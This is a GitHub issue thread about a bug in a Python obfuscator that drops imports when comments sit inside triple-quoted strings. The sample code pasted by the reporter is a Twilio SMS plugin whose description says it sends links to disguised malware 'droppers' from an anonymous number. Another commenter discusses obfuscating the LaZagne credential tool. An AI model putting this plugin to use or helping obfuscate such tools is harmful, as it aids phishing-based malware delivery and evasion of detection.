Hnfull / Intensio-Obfuscator

Obfuscate a python code 2.x and 3.x
MIT License
624 stars 128 forks source link

it can't deal with comment when include in """ #21

Closed 77409 closed 4 years ago

77409 commented 4 years ago

souce code

#!/usr/bin/python
# -*- coding: utf-8 -*-
'Phone SMS Text Message'

# packages
import twilio.rest

# globals
command = True
packages = ['twilio']
platforms = ['win32','linux2','darwin']
results = {}
usage = 'phone [sid=SID] [token=TOKEN] [number=NUMBER] [message=MESSAGE]'
description = """
Use an anonymous online phone number to send an SMS text message
containing download links to executable client droppers disguised
as a link to a funny image/video on Imgur/YouTube sent from a friend
"""

# main
def run(message=None, number=None, sid=None, token=None):
    """
    Send a SMS text message from an anonymous online phone
    number via Twilio

    `Required`
    :param str message:     text message body
    :param str number:      recipient phone number
    :param str sid:         Twilio account SID
    :param str token:       Twilio account auth token

    """
    try:
        if not all([message, number, sid, token]):
            return globals()['usage']
        number = '+{}'.format(str().join([i for i in str(number) if str(i).isdigit()]))
        cli = twilio.rest.Client(sid, token)
        phone = cli.outgoing_caller_ids.list()[0].phone_number
        msg = cli.api.account.messages.create(to=number, from_=phone, body=message)
        return "SUCCESS: text message sent to {}".format(number)
    except Exception as e:
        return "{} error: {}".format(run.func_name, str(e))

translate

python3 intensio_obfuscator.py  -i test -c python -o test1 -m lower -rp -ps -rc -rts

after translate

the import code is miss!

#!/usr/bin/python
# -*- coding: utf-8 -*-
description = """
containing download links MMjHlBykqNVnADtmCsRJJaaOUNtnBKdv ReanVHFoijmruZsFxhCLSbcoXTZCibkC client droppers disguised
as iRKhtxAKwetAxaYpYLBXFYAoHklLWJeZ link MMjHlBykqNVnADtmCsRJJaaOUNtnBKdv iRKhtxAKwetAxaYpYLBXFYAoHklLWJeZ funny image/itfLjvuJYYDwMMwQtqVPOpaszYrWRqsu on Imgur/YouTube sent from iRKhtxAKwetAxaYpYLBXFYAoHklLWJeZ friend
yaUlyfEhltEldeEOgpZlJdnAHtKdbttC = 'JOALkkeBQwxOZWJwLESbrypEdzmGigOd'
lkLgJwYKwxcUxsdjhTpKFGMwZOKrHHLs = 'nmpkUKaaQLQICnXccmVDhetUunaBgMmL'
KbaBBhuoLDlLFCMkejjWqIcLdiieTDmA = 'ntWwDTXJJcrXneYQutWUQYKjYZxCSzFr'
vUlILkmSpBHErRZTClqGRxpzWQGaeVAi = 'qFrStsCYfTDMLtkfEVQFPZWwlHdNnmDD'
HOQYhQYdFrbQWKORFubvBxwQdKDFqJDE = 'fROlGYKUFpFztysTaGOhBZVzvTetvaGw'
if yaUlyfEhltEldeEOgpZlJdnAHtKdbttC in lkLgJwYKwxcUxsdjhTpKFGMwZOKrHHLs:
    yaUlyfEhltEldeEOgpZlJdnAHtKdbttC = HOQYhQYdFrbQWKORFubvBxwQdKDFqJDE
    if lkLgJwYKwxcUxsdjhTpKFGMwZOKrHHLs in KbaBBhuoLDlLFCMkejjWqIcLdiieTDmA:
        lkLgJwYKwxcUxsdjhTpKFGMwZOKrHHLs = vUlILkmSpBHErRZTClqGRxpzWQGaeVAi
elif lkLgJwYKwxcUxsdjhTpKFGMwZOKrHHLs in yaUlyfEhltEldeEOgpZlJdnAHtKdbttC:
    KbaBBhuoLDlLFCMkejjWqIcLdiieTDmA = lkLgJwYKwxcUxsdjhTpKFGMwZOKrHHLs
    if KbaBBhuoLDlLFCMkejjWqIcLdiieTDmA in lkLgJwYKwxcUxsdjhTpKFGMwZOKrHHLs:
        lkLgJwYKwxcUxsdjhTpKFGMwZOKrHHLs = HOQYhQYdFrbQWKORFubvBxwQdKDFqJDE
    Send iRKhtxAKwetAxaYpYLBXFYAoHklLWJeZ SMS text BxIgmXKCaWZoemMusqykCIcvzDyZixpF from an anonymous online phone
    number via Twilio
    `Required`
    :param str BxIgmXKCaWZoemMusqykCIcvzDyZixpF:        text BxIgmXKCaWZoemMusqykCIcvzDyZixpF body
    :param str number:      recipient phone number
    :param str sid:         Twilio account SID
    :param str token:       Twilio account auth token
Hnfull commented 4 years ago

Thank you for your issue, I try to resolv it

Hnfull commented 4 years ago

hello,

I tested with your code and i have a different outpout, so I suppose that you have several files in your project, but to work on this issue, can you tell me what parameter make this error appear , one by one?

thank you.

S3cur3Th1sSh1t commented 4 years ago

Im not sure but maybe i got the same issue. I tried obfuscating the linux Version of https://github.com/AlessandroZ/LaZagne but all methods produce broken files, imports are also missing in the obfuscated files.

Only Hex obfuscation for example produces the following error:

  File "/test/LaZagne/test/laZagne.py", line 219, in <module>
    exec(cuJmmrsrzsRCvVQbavdrLrdmxLYcCNfeEBpLMdbZLeBKWXYlXyHyOXPkVTmgujqE)
  File "<string>", line 34, in <module>
  File "/test/LaZagne/test/lazagne/config/write_output.py", line 308, in <module>
    exec(yIFSQzQPcdXXizKjdJMKsSWJofQoJcHdNcZdUIbrZlIdAquxaIrAdKIKSXMYTloH)
  File "<string>", line 510
    '-------{reset_color}\r\n'.format(
    ^
IndentationError: unexpected indent

Even by only removing comments the result cannot get executed.

Hnfull commented 4 years ago

Thank you for your comment SecureThisShit, I go to try obfsucate (https://github.com/AlessandroZ/LaZagne) linux version then I push the correctifs and I'm comming back to you

Hnfull commented 4 years ago

@77409

@SecureThisShit

Hnfull commented 4 years ago